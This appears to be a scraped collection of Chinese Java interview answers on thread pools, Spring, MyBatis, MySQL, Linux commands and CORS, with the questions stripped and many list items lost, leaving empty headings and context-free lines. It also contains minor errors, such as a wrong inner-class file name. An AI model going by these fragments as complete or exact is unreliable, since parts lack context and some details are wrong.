List 转数组,使用 List 的 toArray 方法。无参 toArray 方法返回 Object 数组,传入初始化长度的数组对象,返回该对象数组
public static void testList2Array() {
List<String> list = Arrays.asList("aaa", "bbb", "ccc");
String[] array = list.toArray(new String[list.size()]);
for (String s : array) {
System.out.println(s);
}
}
线程池就是创建若干个可执行的线程放入一个池(容器)中,有任务需要处理时,会提交到线程池中的任务队列,处理完之后线程并不会被销毁,而是仍然在线程池中等待下一个任务。
因为 Java 中创建一个线程,需要调用操作系统内核的 API,操作系统要为线程分配一系列的资源,成本很高,所以线程是一个重量级的对象,应该避免频繁创建和销毁。
使用线程池就能很好地避免频繁创建和销毁。
先看下一个简单的 Java 线程池的代码
package constxiong.concurrency.a010; import java.util.ArrayList; import java.util.List; import java.util.concurrent.BlockingQueue; /** * 简单的线程池 * @author ConstXiong */ public class ThreadPool { //阻塞队列实现生产者-消费者 BlockingQueue<Runnable> taskQueue; //工作线程集合 List<Thread> threads = new ArrayList<Thread>(); //线程池的构造方法 ThreadPool(int poolSize, BlockingQueue<Runnable> taskQueue) { this.taskQueue = taskQueue; //启动线程池对应 size 的工作线程 for (int i = 0; i <poolSize; i++) { Thread t = new Thread(() -> { while (true) { Runnable task; try { task = taskQueue.take();//获取任务队列中的下一个任务 task.run(); } catch (InterruptedException e) { e.printStackTrace(); } } }); t.start(); threads.add(t); } } //提交执行任务 void execute(Runnable task) { try { //把任务方法放到任务队列 taskQueue.put(task); } catch (InterruptedException e) { e.printStackTrace(); } } }
线程池的使用测试
package constxiong.concurrency.a010; import java.util.concurrent.BlockingQueue; import java.util.concurrent.LinkedBlockingQueue; /** * 测试线程池的使用 * @author ConstXiong */ public class TestThreadPool { public static void main(String[] args) { // 创建有界阻塞任务队列 BlockingQueue<Runnable> taskQueue = new LinkedBlockingQueue<>(10); // 创建 3个 工作线程的线程池 ThreadPool tp = new ThreadPool(3, taskQueue); //提交 10 个任务 for (int i = 1; i <= 10; i++) { final int j = i; tp.execute(() -> { System.out.println("执行任务" + j); }); } } }
打印结果
执行任务1
执行任务2
执行任务3
执行任务6
执行任务5
执行任务4
执行任务8
执行任务7
执行任务10
执行任务9
这个线程池的代码中
线程池的原理就是这么简单,但是 JDK 中的线程池的功能,要远比这个强大的多。
JDK 中提供的最核心的线程池工具类 ThreadPoolExecutor,在 JDK 1.8 中这个类最复杂的构造方法有 7 个参数。
ThreadPoolExecutor(
int corePoolSize,
int maximumPoolSize,
long keepAliveTime,
TimeUnit unit,
BlockingQueue<Runnable> workQueue,
ThreadFactory threadFactory,
RejectedExecutionHandler handler)
corePoolSize:线程池保有的最小线程数。
maximumPoolSize:线程池创建的最大线程数。
keepAliveTime:上面提到项目根据忙闲来增减人员,那在编程世界里,如何定义忙和闲呢?很简单,一个线程如果在一段时间内,都没有执行任务,说明很闲,keepAliveTime 和 unit 就是用来定义这个“一段时间”的参数。也就是说,如果一个线程空闲了keepAliveTime & unit这么久,而且线程池的线程数大于 corePoolSize ,那么这个空闲的线程就要被回收了。
unit:keepAliveTime 的时间单位
workQueue:任务队列
threadFactory:线程工厂对象,可以自定义如何创建线程,如给线程指定name。
handler:自定义任务的拒绝策略。线程池中所有线程都在忙碌,且任务队列已满,线程池就会拒绝接收再提交的任务。handler 就是拒绝策略,包括 4 种(即RejectedExecutionHandler 接口的 4个实现类)。
JDK 的并发工具包里还有一个静态线程池工厂类 Executors,可以方便地创建线程池,但是由于 Executors 创建的线程池内部很多地方用到了无界任务队列,在高并发场景下,无界任务队列会接收过多的任务对象,导致 JVM 抛出OutOfMemoryError,整个 JVM 服务崩溃,影响严重。所以很多公司已经不建议使用 Executors 去创建线程。
虽然不建议使用,作为对 JDK 的学习,还是简单介绍一下.
Collection框架关系图如下
通过操作系统的定时任务调用脚本导出数据库
windows:
在 任务计划程序 里创建基本任务,设置备份周期,执行 bat 脚本,脚本参考:
cd d:\oracle_back
del oracle.dmp
expdp username/password@orcl directory=DIR_EXP dumpfile=oracle.dmp
linux:
通过 crontab 制作定时任务,执行 shell 脚本,脚本参考:
cd /back/oracle_back
rm oracle.dmp
expdp username/password@orcl directory=DIR_EXP dumpfile=oracle.dmp
多态:
同一个接口,使用不同的实例而执行不同操作。同一个行为具有多个不同表现形式或形态的能力。
实现多态有三个条件:
实现多态的技术称为:动态绑定(dynamic binding),是指在执行期间判断所引用对象的实际类型,根据其实际的类型调用其相应的方法。
Java 中使用父类的引用变量调用子类重写的方法,即可实现多态。
好处:
同时方法的重载只是要求两同三不同
如果可以根据返回值类型来区分方法重载,那在仅仅调用方法不获取返回值的使用场景,JVM 就不知道调用的是哪个返回值的方法了。
进程:
为什么要有线程?
每个进程都有自己的地址空间,即进程空间。一个服务器通常需要接收大量并发请求,为每一个请求都创建一个进程系统开销大、请求响应效率低,因此操作系统引进线程。
线程:
关系:
如下图
区别:
进程与线程的选择:
Java 编程语言中线程是通过 java.lang.Thread 类实现的。
Thread 类中包含 tid(线程id)、name(线程名称)、group(线程组)、daemon(是否守护线程)、priority(优先级) 等重要属性。
Stream 接口中的方法分为中间操作和终端操作,具体如下。
中间操作:
终端操作:
Java 反射,就是在运行状态中
Java 的动态就体现在反射。通过反射我们可以实现动态装配,降低代码的耦合度;动态代理等。反射的过度使用会严重消耗系统资源。
JDK 中 java.lang.Class 类,就是为了实现反射提供的核心类之一。
一个 jvm 中一种 Class 只会被加载一次。
@Autowired 是一个注释,它可以对类成员变量、方法及构造函数进行标注,让 spring 完成 bean 自动装配的工作。
@Autowired 默认是按照类去匹配,配合 @Qualifier 指定按照名称去装配 bean。
常见用法
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import blog.service.ArticleService; import blog.service.TagService; import blog.service.TypeService; @Controller public class TestController { //成员属性字段使用 @Autowired,无需字段的 set 方法 @Autowired private TypeService typeService; //set 方法使用 @Autowired private ArticleService articleService; @Autowired public void setArticleService(ArticleService articleService) { this.articleService = articleService; } //构造方法使用 @Autowired private TagService tagService; @Autowired public TestController(TagService tagService) { this.tagService = tagService; } }
表的存储引擎如果是 MyISAM,ID = 8
表的存储引擎如果是 InnoDB,ID = 6
InnoDB 表只会把自增主键的最大 ID 记录在内存中,所以重启之后会导致最大 ID 丢失
create table uuu
(
id int PRIMARY key auto_increment,
name varchar(100)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
insert into uuu values(null, '1');
insert into uuu values(null, '2');
insert into uuu values(null, '3');
select * from uuu;
-- 重启服务
insert into uuu values(null, '4');
select * from uuu;
查询值
id name
1 1
2 2
3 4
相当于自定义 shell 指令
如:ll 指令可以查看文件的详细信息,ll 就是一个被定义好的别名,能够大大的简化指令
1.通过 alias 命令可以查看命令别名 [root]# alias alias cp='cp -i' alias egrep='egrep --color=auto' alias fgrep='fgrep --color=auto' alias grep='grep --color=auto' alias l.='ls -d .* --color=auto' alias ll='ls -l --color=auto' alias ls='ls --color=auto' alias mv='mv -i' alias rm='rm -i' alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde' 2.定义新的别 [root]#alias rmall = 'rm -rf' 3.取消别名 [root]# unalias rmall
显示或设定系统的日期与时间
命令参数: -d<字符串> 显示字符串所指的日期与时间,字符串前后必须加上双引号 -s<字符串> 根据字符串来设置日期与时间,字符串前后必须加上双引号 -u 显示GMT %H 小时(00-23) %I 小时(00-12) %M 分钟(以00-59来表示) %s 总秒数起算时间为1970-01-01 00:00:00 UTC %S 秒(以本地的惯用法来表示) %a 星期的缩写 %A 星期的完整名称 %d 日期(以01-31来表示) %D 日期(含年月日) %m 月份(以01-12来表示) %y 年份(以00-99来表示) %Y 年份(以四位数来表示) 实例: date +%Y%m%d --date="+1 day" //显示下一天的日期 date -d "nov 22" 显示今年的 11 月 22 日 date -d "2 weeks" 显示2周后的日期 date -d "next monday" 显示下周一的日期 date -d next-day +%Y%m%d 或 date -d tomorrow +%Y%m%d 显示明天的日期 date -d last-day +%Y%m%d 或 date -d yesterday +%Y%m%d 显示昨天的日期 date -d last-month +%Y%m 显示上个月的月份 date -d next-month +%Y%m 显示下个月的月份
Spring Boot 有两种类型的配置文件,application 和 bootstrap 文件
Spring Boot会自动加载classpath目前下的这两个文件,文件格式为 properties 或 yml 格式
*.properties 文件是 key=value 的形式
*.yml 是 key: value 的形式
*.yml 加载的属性是有顺序的,但不支持 @PropertySource 注解来导入配置,一般推荐用yml文件,看下来更加形象
bootstrap 配置文件是系统级别的,用来加载外部配置,如配置中心的配置信息,也可以用来定义系统不会变化的属性.bootstatp 文件的加载先于application文件
application 配置文件是应用级别的,是当前应用的配置文件
参考:
1、使用引用取代了指针,指针的功能强大,但是也容易造成错误,如数组越界问题。
2、拥有一套异常处理机制,使用关键字 throw、throws、try、catch、finally
3、强制类型转换需要符合一定规则
4、字节码传输使用了加密机制
5、运行环境提供保障机制:字节码校验器->类装载器->运行时内存布局->文件访问限制
6、不用程序员显示控制内存释放,JVM 有垃圾回收机制
方式 1:
$.ajax({ dataType : 'json', url : 'http://localhost:8080/data.do', data : '{"id":1}', type : 'POST', success : function(ret) { console.log(ret); }, error : function(ret) { console.log(ret); } }); url String 类型的参数,发送请求的地址 data Object 或 String 类型,发送到服务器的数据 type String 类型,请求方式get或post datatype String 类型,预期服务器返回的类型 timeout number 类型,设置请求超时时间 async boolean 类型,异步为 true(默认),同步为 false cache boolean 类型,默认为true,是否从浏览器缓存中加载信息 beforesend Function 类型,如添加自定义 http header
方式 2:
$.get(url, params, function(resp, status_code){}, dataType); //get请求
$.post(url, params, function(resp, status_code){}, dataType); //post请求
url 必需。规定把请求发送到哪个 URL
params 可选。映射或字符串值。规定连同请求发送到服务器的数据
function(data, Status) 可选。请求成功时执行的回调函数
dataType 可选。规定预期的服务器响应的数据类型
核心逻辑如下:
AbstractAutowireCapableBeanFactory.allowCircularReferences=true 通过三级缓存(或者说三个 Map 去解决循环依赖的问题),核心代码在 DefaultSingletonBeanRegistry#getSingleton protected Object getSingleton(String beanName, boolean allowEarlyReference) { //Map 1,单例缓存 Object singletonObject = this.singletonObjects.get(beanName); if (singletonObject == null && isSingletonCurrentlyInCreation(beanName)) { synchronized (this.singletonObjects) { //Map 2,早期单例缓存,若没有 ObjectFactory 的 bean,到这级已经可以解决循环依赖 singletonObject = this.earlySingletonObjects.get(beanName); if (singletonObject == null && allowEarlyReference) { //Map 3,单例工厂,解决包含 ObjectFactory 情况的循环依赖 ObjectFactory<?> singletonFactory = this.singletonFactories.get(beanName); if (singletonFactory != null) { singletonObject = singletonFactory.getObject();//获取 bean 对象 this.earlySingletonObjects.put(beanName, singletonObject);//放到早期实例化的 Bean 中 this.singletonFactories.remove(beanName);//单例工厂中移除 } } } } return singletonObject; }
冷备发生在数据库已经正常关闭的情况下,将数据库文件拷贝到其他位置
热备是在数据库运行的情况下,采用归档方式备份数据
**冷备的优缺点: **
冷备份的不足:
热备的优缺点:
热备份的不足:
作用:
区别:
throws: ###
方法的定义上使用 throws 表示这个方法可能抛出某些异常(可以有多个)
用于声明在该方法内抛出了异常
必须跟在方法参数列表的后面,不能单独使用
需要由方法的调用者进行异常处理
package constxiong.interview;
import java.io.IOException;
public class TestThrowsThrow {
public static void main(String[] args) { testThrows(); Integer i = null; testThrow(i); String filePath = null; try { testThrow(filePath); } catch (IOException e) { e.printStackTrace(); } } /** * 测试 throws 关键字 * @throws NullPointerException */ public static void testThrows() throws NullPointerException { Integer i = null; System.out.println(i + 1); } /** * 测试 throw 关键字抛出 运行时异常 * @param i */ public static void testThrow(Integer i) { if (i == null) { throw new NullPointerException();//运行时异常不需要在方法上申明 } } /** * 测试 throw 关键字抛出 非运行时异常,需要方法体需要加 throws 异常抛出申明 * @param i */ public static void testThrow(String filePath) throws IOException { if (filePath == null) { throw new IOException();//非运行时异常,需要方法体需要加 throws 异常抛出申明 } }
}
JDK1.8 中源码解释
/** * Retrieves, but does not remove, the head of this queue. This method * differs from {@link #peek peek} only in that it throws an exception * if this queue is empty. * * @return the head of this queue * @throws NoSuchElementException if this queue is empty */ E element(); /** * Retrieves, but does not remove, the head of this queue, * or returns {@code null} if this queue is empty. * * @return the head of this queue, or {@code null} if this queue is empty */ E peek();
主键自增,可以在 insert 方法执行完之后把 id 设置到传入的对象的属性
#建表 SQL create table user( id int PRIMARY KEY auto_increment, name varchar(400) ); <!--Mapper xml 配置--> <insert id="insertUser" parameterType="constxiong.po.User" useGeneratedKeys="true" keyProperty="id"> insert into user(name) values(#{name}) </insert> //java 代码 for (int i = 0; i <10; i++) { User user = new User(null, "constxiong" + i);//这里 user.id = null userMapper.insertUser(user); System.out.println("id:" + user.getId());//插入数据库后,这里的 user.id 为主键值 }
完整 Demo:
https://javanav.com/val/3ac331d2674b4c108469cce54ae126f3.html
JSON 是一种与开发语言无关的、轻量级的数据存储格式,全称 JavaScript Object Notation,起初来源于 JavaScript ,后来随着使用的广泛,几乎每门开发语言都有处理 JSON 的API。
优点:
易于人的阅读和编写,易于程序生成与解析。
格式:
数据结构 - Object
{key:value, key:value…}
key:string 类型
value:任何基本类型或数据结构
数据结构 - Array
[value, value…]
value:任何基本类型或数据结构
如:
{"id":"1", "values":[1, 2, "你好"]}
首先,答案肯定是不一定。同时反过来 equals() 为true,hashCode() 也不一定相同。
关于 hashCode() 和 equals() 是方法是有一些 常规协定:
1、两个对象用 equals() 比较返回true,那么两个对象的hashCode()方法必须返回相同的结果。
2、两个对象用 equals() 比较返回false,不要求hashCode()方法也一定返回不同的值,但是最好返回不同值,以提高哈希表性能。
3、重写 equals() 方法,必须重写 hashCode() 方法,以保证 equals() 方法相等时两个对象 hashcode() 返回相同的值。
就像打人是你的能力,但打伤了就违法了。重写 equals 和 hashCode 方法返回是否为 true 是你的能力,但你不按照上述协议进行控制,在用到对象 hash 和 equals 逻辑判断相等时会出现意外情况,如 HashMap 的 key 是否相等。
测试代码
public class TestWaitSleep { private static Object obj = new Object(); public static void main(String[] args) { //测试sleep() //测试 RunnableImpl1 wait(); RunnableImpl2 notify() Thread t1 = new Thread(new RunnableImpl1(obj)); Thread t2 = new Thread(new RunnableImpl2(obj)); t1.start(); t2.start(); //测试RunnableImpl3 wait(long timeout)方法 Thread t3 = new Thread(new RunnableImpl3(obj)); t3.start(); } } class RunnableImpl1 implements Runnable { private Object obj; public RunnableImpl1(Object obj) { this.obj = obj; } public void run() { System.out.println("run on RunnableImpl1"); synchronized (obj) { System.out.println("obj to wait on RunnableImpl1"); try { obj.wait(); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println("obj continue to run on RunnableImpl1"); } } } class RunnableImpl2 implements Runnable { private Object obj; public RunnableImpl2(Object obj) { this.obj = obj; } public void run() { System.out.println("run on RunnableImpl2"); System.out.println("睡眠3秒..."); try { Thread.sleep(3000); } catch (InterruptedException e) { e.printStackTrace(); } synchronized (obj) { System.out.println("notify obj on RunnableImpl2"); obj.notify(); } } } class RunnableImpl3 implements Runnable { private Object obj; public RunnableImpl3(Object obj) { this.obj = obj; } public void run() { System.out.println("run on RunnableImpl3"); synchronized (obj) { System.out.println("obj to wait on RunnableImpl3"); try { obj.wait(1000); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println("obj continue to run on RunnableImpl3"); } } }
打印结果
run on RunnableImpl2
睡眠3秒...
run on RunnableImpl1
obj to wait on RunnableImpl1
run on RunnableImpl3
obj to wait on RunnableImpl3
obj continue to run on RunnableImpl3
notify obj on RunnableImpl2
obj continue to run on RunnableImpl1
在配置文件的 标签上设置 logImpl 参数值(SLF4J | LOG4J | LOG4J2 | JDK_LOGGING | COMMONS_LOGGING | STDOUT_LOGGING | NO_LOGGING),指定 MyBatis 所用日志的具体实现,未指定时将自动查找。
如 MyBatis 实现的标准输出的配置
<settings>
<setting name="logImpl" value="STDOUT_LOGGING"></setting>
</settings>
乐观锁:每次去获取数据的时候都认为别人不会修改,不会上锁,但是在提交修改的时候会判断一下在此期间别人有没有修改这个数据。
悲观锁:每次去获取数据的时候都认为别人会修改,每次都会上锁,阻止其他线程获取数据,直到这个锁释放。
MySQL 的乐观锁需要自己实现。一般在表里面添加一个 version 字段,每次修改成功值加 1;每次其他字段值的时候先对比一下,自己拥有的 version 和数据库现在的 version 是否一致,如果不一致就可以返回失败也可以进行重试。
MySQL 的悲观锁,以 Innodb 存储引擎为例,将 MySQL 设置为非 autoCommit 模式
begin;
select * from table where id = 1 for update;
insert ...
update ...
commit;
当上面语句未 commit,id = 1 的数据是被锁定的,即其他事务中的查到这条语句会被阻塞,直到事务提交。
数据的锁定还涉及到索引的不同可能是行锁、表锁的问题。
JVM 先加载包含字节码的 class 文件,存放在方法区,实际运行时,虚拟机会执行方法区内的代码。Java 虚拟机在内存中划分出栈和堆来存储运行时的数据。
运行过程中,每当调用进入 Java 方法,都会在 Java 方法栈中生成一个栈帧,用来支持虚拟机进行方法的调用与执行,包含了局部变量表、操作数栈、动态链接、方法返回地址等信息。
当退出当前执行的方法时,不管正常返回还是异常返回,Java 虚拟机均会弹出当前线程的当前栈帧,并将之舍弃。
方法的调用,需要通过解析完成符号引用到直接引用;通过分派完成动态找到被调用的方法。
从硬件角度来看,Java 字节码无法直接执行。因此,Java 虚拟机需要将字节码翻译成机器码。翻译过程由两种形式:第一种是解释执行,即将遇到的字节一边码翻译成机器码一边执行;第二种是即时编译(Just-In-Time compilation,JIT),即将一个方法中包含的所有字节码编译成机器码后再执行。在 HotSpot 里两者都有,解释执行在启动时节约编译时间执行速度较快;随着时间的推移,编译器逐渐会返回作用,把越来越多的代码编译成本地代码后,可以获取更高的执行效率。
Redis 集群没有使用一致性 hash,而是引入了哈希槽的概念。
Redis 集群有 16384 个哈希槽,每个 key 通过 CRC16 算法计算的结果,对 16384 取模后放到对应的编号在 0-16383 之间的哈希槽,集群的每个节点负责一部分哈希槽
package constxiong.interview; import java.io.FileOutputStream; import java.io.IOException; /** * 测试写入字符串到文件 * @author ConstXiong * @date 2019-11-08 12:05:49 */ public class TestWriteStringToFile { public static void main(String[] args) { String cx = "ConstXiong"; FileOutputStream fos = null; try { fos = new FileOutputStream("E:/a.txt"); fos.write(cx.getBytes());//注意字符串编码 } catch (IOException e) { e.printStackTrace(); } finally { if (fos != null) { try { fos.close(); } catch (IOException e) { e.printStackTrace(); } } } } }
XML 的使用场景有两个方面:
AOP:Aspect Oriented Programming,面向切面编程。
通过预编译和运行期动态代理实现程序功能的统一维护。
在 Spring 框架中,AOP 是一个很重要的功能。
AOP 利用一种称为横切的技术,剖开对象的封装,并将影响多个类的公共行为封装到一个可重用模块,组成一个切面,即 Aspect 。
"切面"就是将那些与业务无关,却为业务模块所共同调用的逻辑或责任封装起来,便于减少系统的重复代码,降低模块间的耦合度,利于可操作性和可维护性。
AOP 相关概念
切面(Aspect)、连接点(Join point)、通知(Advice)、切点(Pointcut)、引入(Introduction)、目标对象(Target Object)、AOP代理(AOP Proxy)、织入(Weaving)
spring 框架中可以通过 xml 配置和注解去使用 AOP 功能。
详细可以参考:
实现 AOP 的方式,主要有两大类:
创建数据库
CREATE DATABASE 数据库名;
删除数据库
drop database 数据库名;
SELECT CURRENT_DATE();
运行时异常都是 RuntimeException 子类异常
JVM 试图定义一种统一的内存模型,能将各种底层硬件以及操作系统的内存访问差异进行封装,使 Java 程序在不同硬件以及操作系统上都能达到相同的并发效果。它分为工作内存和主内存,线程无法对主存储器直接进行操作,如果一个线程要和另外一个线程通信,那么只能通过主存进行交换。
压缩和解压文件
tar 本身不具有压缩功能,只具有打包功能,有关压缩及解压是调用其它的功能来完成
参数: -c 建立新的压缩文件 -f 指定压缩文件 -r 添加文件到已经压缩文件包中 -u 添加改了和现有的文件到压缩包中 -x 从压缩包中抽取文件 -t 显示压缩文件中的内容 -z 支持gzip压缩 -j 支持bzip2压缩 -Z 支持compress解压文件 -v 显示操作过程 示例 tar -cvf log.tar 1.log,2.log 或 tar -cvf log.* 文件全部打包成 tar 包 tar -zcvf /tmp/log.tar.gz /log 将 /log 下的所有文件及目录打包到指定目录,并使用 gz 压缩 tar -ztvf /tmp/log.tar.gz 查看刚打包的文件内容 tar --exclude /log/mylog -zcvf /tmp/log.tar.gz /log 压缩打包 /log ,排除 /log/mylog
跨域:当浏览器执行脚本时会检查是否同源,只有同源的脚本才会执行,如果不同源即为跨域。
如当使用 ajax 提交非同源的请求时,浏览器就会阻止请求。提示
Access to XMLHttpRequest at ‘…’ from origin ‘…’ has been blocked by CORS policy: No ‘Access-Control-Allow-Origin’ header is present on the requested resource.
1、jsonp
利用了 script 不受同源策略的限制
缺点:只能 get 方式,易受到 XSS攻击
2、CORS(Cross-Origin Resource Sharing),跨域资源共享
当使用XMLHttpRequest发送请求时,如果浏览器发现违反了同源策略就会自动加上一个请求头 origin;
后端在接受到请求后确定响应后会在后端在接受到请求后确定响应后会在 Response Headers 中加入一个属性 Access-Control-Allow-Origin;
浏览器判断响应中的 Access-Control-Allow-Origin 值是否和当前的地址相同,匹配成功后才继续响应处理,否则报错
缺点:忽略 cookie,浏览器版本有一定要求
3、代理跨域请求
前端向发送请求,经过代理,请求需要的服务器资源
缺点:需要额外的代理服务器
4、Html5 postMessage 方法
允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本、多窗口、跨域消息传递
缺点:浏览器版本要求,部分浏览器要配置放开跨域限制
5、修改 document.domain 跨子域
相同主域名下的不同子域名资源,设置 document.domain 为 相同的一级域名
缺点:同一一级域名;相同协议;相同端口
6、基于 Html5 websocket 协议
websocket 是 Html5 一种新的协议,基于该协议可以做到浏览器与服务器全双工通信,允许跨域请求
缺点:浏览器一定版本要求,服务器需要支持 websocket 协议
7、document.xxx + iframe
通过 iframe 是浏览器非同源标签,加载内容中转,传到当前页面的属性中
缺点:页面的属性值有大小限制
FileInputStream in = new FileInputStream("a.txt");
in.skip(9);//skip(long n) 方法,调过文件 n 个字节数
int b = in.read();
1、在 web 项目的 web.xml 文件配置 DispatcherServlet,启动 web 项目完成初始化动作
2、http 请求到 DispatcherServlet
3、根据 HttpServletRequest 查找 HandlerExecutionChain
4、根据 HandlerExecutionChain 获取 HandlerAdapter、执行 handler
5、Handler 执行完成返回 ModelAndView
6、DispatcherServlet 进行结合异常处理 ModelAndView
7、DispatcherServlet 进行视图渲染,将 Model 数据在 View 中填充
8、DispatcherServlet 返回结果
源码查看思路
1、什么是 tcp 粘包?
发送方发送的多个数据包,到接收方缓冲区首尾相连,粘成一包,被接收。
2、原因
3、处理方法
参考
为了减少方法调用的开销,可以把一些短小的方法,纳入到目标方法的调用范围之内,这样就少了一次方法调用,提升速度
首先,Spring AOP 有一些特性:
使用层面,有三种编程模型:
<aop: 开头的 xml 配置。
• 激活 AspectJ 自动代理:aop:aspectj-autoproxy/
• 配置:aop:config/
• Aspect: aop:aspect/
• Pointcut:aop:pointcut/
• Advice:aop:around/、aop:before/、aop:after-returning/、aop:after-throwing/ 和 aop:after/
• Introduction:aop:declare-parents/
• 代理 Scope:aop:scoped-proxy/
注解驱动
• 激活 AspectJ 自动代理:@EnableAspectJAutoProxy
• Aspect:@Aspect
• Pointcut:@Pointcut
• Advice:@Before、@AfterReturning、@AfterThrowing、@After、@Around
• Introduction:@DeclareParents
JDK 动态代理、CGLIB 以及 AspectJ 实现的 API
• 代理:AopProxy
• 配置:ProxyConfig
• Join Point:JoinPoint
• Pointcut:Pointcut
• Advice:Advice、BeforeAdvice、AfterAdvice、AfterReturningAdvice、 ThrowsAdvice
核心实现类:
SELECT VERSION();
结束当前循环并退出当前循环体
结束 switch 语句
1、概念
存在于Java类的内部的Java类。
2、分类
成员内部类
格式
class OuterClass {
class InnerClass {} //成员内部类
}
编译之后会生成两个class文件:OuterClass.class和OuterClass$InnerClass.class
方法内部类
格式
class OuterClass {
public void doSomething(){
class Inner{
}
}
}
编译之后会生成两个class文件:OuterClass.class和OuterClass$1InnerClass.class
只能在定义该内部类的方法内实例化
方法内部类对象不能使用该内部类所在方法的非final局部变量
当一个方法结束,其栈结构被删除,局部变量成为历史。但该方法结束后,在方法内创建的内部类对象可能仍然存在于堆中
匿名内部类
a) 继承式匿名内部类格式
public class Fish { /** * 游泳方法 */ public void swim() { System.out.println("我在游泳!"); } public static void main(String[] args) { //创建鱼对象 Fish fish = new Fish() { //重写swim方法 public void swim() { System.out.println("我在游泳,突然发生海啸,我撤了!"); } }; fish.swim(); } }
编译后生成两个class文件:Fish.class和Fish$1.class
b) 接口式匿名内部类格式
interface IFish { public void swim(); } class TestIFish { public static void main(String[] args) { IFish fish = new IFish() { @Override public void swim() { System.out.println("我是一条小丑鱼,我在游泳"); } }; fish.swim(); } }
编译后生成3个class文件:IFish.class、TestIFish.class和TestIFish$1.class
接口式的匿名内部类是实现了一个接口的匿名类,感觉上实例化了一个接口。
c) 参数式的匿名内部类
格式
public class TestCrucian { public static void main(String[] args) { Crucian c = new Crucian(); c.swim(new IFish() { @Override public void swim() { System.out.println("鲫鱼在河水里游泳!"); } }); } } /** * 鲫鱼游泳 * @author handsomX * 2018年8月13日上午9:41:01 */ class Crucian { /** * 鲫鱼的游泳方法 * @param fish */ void swim(IFish fish) { fish.swim(); } }
![Image 1][]![Image 1][] 编译后生成3个class文件:Crucian.class、TestCrucian.class和TestCrucian$1.class
静态嵌套类
静态嵌套类,并没有对实例的共享关系,仅仅是代码块在外部类内部
静态的含义是该内部类可以像其他静态成员一样,没有外部类对象时,也能够访问它
静态嵌套类仅能访问外部类的静态成员和方法
在静态方法中定义的内部类也是静态嵌套类,这时候不能在类前面加static关键字
格式
class OuterFish { /** * 静态嵌套类 * @author handsomX * 2018年8月13日上午10:57:52 */ static class InnerFish { } } class TestStaticFish { public static void main(String[] args) { //创建静态内部类对象 OuterFish.InnerFish iFish = new OuterFish.InnerFish(); } }
3、内部类的作用
4、特点
参考:
[Image 1]:
[-java]: https://baike.baidu.com/item/java%E5%86%85%E9%83%A8%E7%B1%BB/2292692
[https_blog.csdn.net_guyuealian_article_details_51981163]: https://blog.csdn.net/guyuealian/article/details/51981163
Dubbo 是一个分布式、高性能、透明化的 RPC 服务框架,提供服务自动注册、自动发现等高效服务治理方案, 可以和 Spring 框架无缝集成
大量的 key 集中在某个时间点过期,Redis 可能会出现短暂的卡顿现象。如果访问量大的情况下,还可能出现缓存雪崩
处理办法:可以在时间上加一个随机值,分散过期时间点
1、表容量的问题
首先,MySQL 不管怎么优化也是很难支持单表一亿数据量带查询条件的分页查询,需要提前考虑分表分库。单表设计以 200-500 万为宜;优化的好,单表数据到一两千万,性能也还行。出现那么单表那么大的数据量,已经是设计问题了。
2、总页数的问题
页面不需要显示总页数,仅显示附近的页码,这样可以避免单表总行数的查询。
需要显示总页数,这种情况就比较难处理一些。首先 MySQL 的 MyISAM 引擎把一个表的总行数记录在磁盘中,查询 count(*) 可以直接返回;InnoDB 引擎是一行行读出来累加计数,大数据量时性能堪忧,大几秒甚至几十秒都有可能(我相信你一定遇到过)。所以 MyISAM 的总行数查询速度是比 InnoDB 快的,但这个快也仅限于不带 where 条件的。MyISAM 还有一个硬伤,不支持事务。
如何既支持事务又快速的查出总数呢?
使用 InnoDB 引擎,新建一张表记录业务表的总数,新增、删除各自在同一事务中增减总行数然后查询,保证事务的一致性和隔离性。当然,这里更新总行数要借助分布式锁或 CAS 方式更新记录总数的表。
3、具体的 SQL 优化
新增表记录业务表的总数,也是无法彻底解决带查询条件的总行数查询慢的问题。这里只能借助具体的 SQL 优化。
不带条件 + 自增 id 字段连续
这种理想情况就不讨论了,通过 pageNo 和 pageSize 算出 id 的起始与结束值
where id >= ? and id <?
where id between
where id >= ? limit 10
就可以直接搞定了。
带查询条件 + 主键 id 不连续
这种就是我们最需要解决的情况。使用 limit 分页,有个查询耗时与起始记录的位置成正比的问题,所以不能直接使用。
可以这样根据主键进行关联查询
select * from table t1
join (select id from table where condition limit 10) t2
on t1.id = t2.id
order by t1.id asc
其中 condition 是包含索引的查询条件,使用 id 字段进行具体信息的关联回查。当然查询条件 condition 中索引是否生效对性能影响也很大。
索引没有生效的一些情况:
4、其他解法
PS:
MySQL 大表分页问题,一般效果比较好的是,使用记录页面最大最小 ID 或统计表优化 count 查询。
从面试回答问题的角度看,如果能结合索引的实现,比如 InnoDB 的索引使用 B+ 树,子查询中索引如何生效与失效,说清楚问题的本质是就是用空间去换取查询时间,把问题提高到计算机原理(I/O、CPU 之间的权衡)、数据结构与算法的层面去阐述,肯定会加分不少。
常见的 GC 日志开启参数包括:
Java 9 JVM 日志模块进行了重构,参数格式发生变化,这个需要知道。
GC 日志输出的格式,会随着上面的参数不同而发生变化。关注各个分代的内存使用情况、垃圾回收次数、垃圾回收的原因、垃圾回收占用的时间、吞吐量、用户线程停顿时间。
借助工具可视化工具可以更方便的分析,在线工具 GCeasy;离线版可以使用 GCViewer。
如果现场环境不允许,可以使用 JDK 自带的 jstat 工具监控观察 GC 情况。
分析:
//日期格式为字符串
DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
String s = sdf.format(new Date());
//字符串转日期
DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
String s = "2019-10-31 22:53:10";
Date date = sdf.parse(s);
多继承会产生钻石问题(菱形继承)
Java 支持类实现多接口
从 JDK1.8 开始,接口中允许有静态方法和方法默认实现。当检测到实现类中实现的多个接口中有相同的默认已实现的方法,编译报错
PS:在JDK 1.5 上实践,接口可以多继承接口
